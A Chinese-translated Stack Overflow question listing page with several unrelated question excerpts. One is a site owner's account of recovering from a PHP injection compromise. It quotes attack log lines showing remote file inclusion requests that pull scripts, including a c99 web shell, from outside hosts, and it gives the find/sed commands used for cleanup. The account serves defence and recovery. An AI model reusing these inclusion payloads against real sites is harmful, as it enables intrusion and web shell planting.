问题列表 - 第5010页

提高代码可读性

在代码文档方面,通常认为代码应该自行解释,内联代码文档(不包括公共API文档)应该只解释元代码问题,例如变通方法,为什么选择特定实现的解释等等.

如何使您的代码更具可读性并更多地解释自己


编辑: 除了一般评论,我也在寻找具体的提示.因此,如果您说"简短但有意义的变量名称",那么也可以获得有用的提示(例如"使用三字原则").

language-agnostic documentation readability

24
推荐指数
4
解决办法
1万
查看次数

PHP注入攻击 - 如何最好地清理混乱?

有一段时间我的共享托管环境遭到入侵,因为我没有修复已安装的应用程序的组合.上周,这是因为一个名为Help Center Live的PHP应用程序的旧的和未使用的安装.结果是服务器上的每个PHP文件(我有几个Wordpress,Joomlas,SilverStripe安装)都添加了代码,从其他网站中提取隐藏链接并将其包含在我的页面中.其他人报告说,在这种攻击之后他们的网站被谷歌禁止了 - 幸运的是我似乎早就抓住了它.当我从手机浏览其中一个网站时,我才注意到它 - 该页面上有移动浏览器中包含的链接.

我在日志中发现了许多像这样的攻击尝试:

62.149.18.193 - [06/Feb/2009:14:52:45 +0000]"GET /support/module.php?module= HelpCenter // include/main.php?config [search_disp] = true&include_dir = http:/ /www.portlandonnuri.com/ 2008_web // technote7/data/photo/id2.txt ??? HTTP/1.1"200 26" - ""libwww-perl/5.814"

我立即删除了这个应用程序,并编写了一个脚本,从每个源文件中删除了有问题的PHP代码.我还发现该脚本创建了包含其他受感染网站链接的HTML文件.我也删除了它们.现在我担心攻击者可能遗漏了我错过的其他东西 - 某个地方的PHP文件会让他永久访问.文件日期都在攻击中被修改,我找不到在相关时间内更改的任何其他文件.为了确保我的服务器上没有后门,是否有一些我错过的显而易见的东西?

编辑:我还搜索包含攻击代码的文本文件,如上面的日志文件片段中所示.我没找到任何.

另一个编辑:如果你碰巧碰到这篇文章,因为你发现自己处于相同的情况,也许这会对你有所帮助.我用它来备份我的所有PHP源文件,然后再操作它们:

find . -name *.php -exec tar -uvf ~/www/allphp.tar {} \;
Run Code Online (Sandbox Code Playgroud)

这是为了撤消攻击者所做的更改:

find . -name *.php -exec sed -i '/<?php \/\*\*\/eval(base64_decode(/d' {} \;
Run Code Online (Sandbox Code Playgroud)

不是火箭科学,但对于像我这样偶尔的Linux/Unix用户来说也不是微不足道的:-).

另一个编辑:我无法审核服务器上的每一行代码,但我可以搜索可疑数据.我搜索了所有出现的"eval"和"base64"并没有找到任何看起来不合法的东西.然后我为".ru"运行了一个grep(因为肇事者似乎是从那里来的)而且,看哪,发现了一个叫做c99 shell的东西,我迅速将其移除.

最终编辑:我发现了如何上传c99 shell - 通过Coppermine Photo Gallery中的一个洞.

97.74.118.95 - - [03/Feb/2009:00:31:37 +0000] "POST 
    /pics/picEditor.php?img_dir=http://xakforum.altnet.ru/tmp_upload/files
    /c99shell.txt&CURRENT_PIC[filename]=/1.php HTTP/1.1" 404 - "-" "-"
97.74.118.95 …
Run Code Online (Sandbox Code Playgroud)

php code-injection

12
推荐指数
2
解决办法
1万
查看次数

奇怪的问题回声数组(PHP)

好的,我有以下代码.我正在尝试输出一些xml,以便可以使用jQuery读取它,但无论出于何种原因,当我尝试将数组中的元素添加到变量时,它只是将变量转换为0.我做了一个print_r()在数组上,这是正常的.

if ($content == "tables") {
    $result = mysql_query("show tables");
$xml = "<tables>";
    while ($row = mysql_fetch_assoc($result)) {
        print_r($row);
        echo "<br />";
        $xml += "<table>" . $row['Tables_in_blog'] . "</table>";
    }
    //header('Content-type: text/xml');
    echo $xml;
}
Run Code Online (Sandbox Code Playgroud)

产量

Array ( [Tables_in_blog] => post )
Array ( [Tables_in_blog] => posts )
0
Run Code Online (Sandbox Code Playgroud)

有谁知道为什么会这样做?

php xml arrays

1
推荐指数
1
解决办法
198
查看次数

使用.net测试SMTP

我需要配置一个SMTP服务器来测试我发送电子邮件的网站(用于注册确认等).

我真的不希望发送电子邮件,我只是想确保我的代码是正确的.所以我希望能够检查电子邮件是否放在队列文件夹中.

任何人都可以推荐一个易于配置的SMTP服务器吗?

.net testing smtp

53
推荐指数
6
解决办法
2万
查看次数

在我的Android应用中访问图片应用中的图片

就像iPhone有一个UIImagePickerController让用户访问存储在设备上的图片一样,Android SDK中是否有类似的控件?

谢谢.

android android-image

42
推荐指数
2
解决办法
4万
查看次数

为什么不返回数组引用?

"从Perl子程序返回一个完整的数组效率低下"的问题中,如果不需要它,两个人建议不要进行优化.作为一般规则,优化可以增加复杂性,如果不需要,简单就更好了.但是在这个特定的情况下,返回一个数组而不是数组ref,我没有看到任何增加的复杂性,我认为接口设计的一致性会更重要.因此,我几乎总是这样做:

sub foo
{
   my($result) = [];

   #....build up the result array ref

   $result;
}
Run Code Online (Sandbox Code Playgroud)

是否有理由我不应该这样做,即使是小结果?

arrays perl reference

12
推荐指数
3
解决办法
1万
查看次数

为3人团队设置Git?

该帖旨在总结所有信息,以便在竞赛中为3人建立一个封闭的存储库.请随便在列表中添加一个我没有注意到的问题.请将每个问题的每个答案添加为单独的答案.

  1. 情况A:草稿和文件可以在3人之间交换.编写器只能将文件推送到存储库.
  2. 情况B:与上面类似,但所有队友都可以将文件推送到存储库.

关于情况A的一般问题

  • 如何为人员A,B和C设置远程分支,以便团队成员可以查看其团队成员想要共享的文件?
  • 如何将人A设置为独裁者,谁只能将更改推送到神圣的存储库?

关于情况A的初步问题

  1. 如何设置Git存储库,人们A,B和C可以在哪里拉?我假设Git已经成功安装到存储库中
  2. 你怎么能让作家只推?

关于两种情况的高级问题

git version-control gitosis

15
推荐指数
1
解决办法
4136
查看次数

在WinForms/.NET中更改光标HotSpot

我正在运行时从图像资源创建一个游标.新光标的HotSpot始终设置为16x16(32x32图像).是否可以在运行时更改HotSpot,还是需要创建.cur文件?

.net winforms

8
推荐指数
1
解决办法
5322
查看次数

有没有人不同意这句话:"使用开关是不好的OOP风格"?

我已经看到它写在stackoverflow上的多个线程/注释中,使用switch的只是糟糕的OOP风格.就个人而言,我不同意这一点.

在许多情况下,您无法向enum要打开的类添加代码(即方法),因为您无法控制它们,可能它们位于第三方jar文件中.还有其他一些情况,将功能放在枚举本身是一个坏主意,因为它违反了一些关注点分离的考虑因素,或者它实际上是其他东西以及枚举的函数.

最后,交换机简洁明了:

boolean investable;
switch (customer.getCategory()) {
    case SUB_PRIME:
    case MID_PRIME:
        investible = customer.getSavingsAccount().getBalance() > 1e6; break;
    case PRIME:
        investible = customer.isCeo(); break;
}
Run Code Online (Sandbox Code Playgroud)

我不是在捍卫每一个用途,switch我不是说它总是要走的路.但在我看来,像"Switch是代码味道"这样的陈述是错误的.还有其他人同意吗?

java oop switch-statement

26
推荐指数
9
解决办法
9807
查看次数

5
推荐指数
1
解决办法
7078
查看次数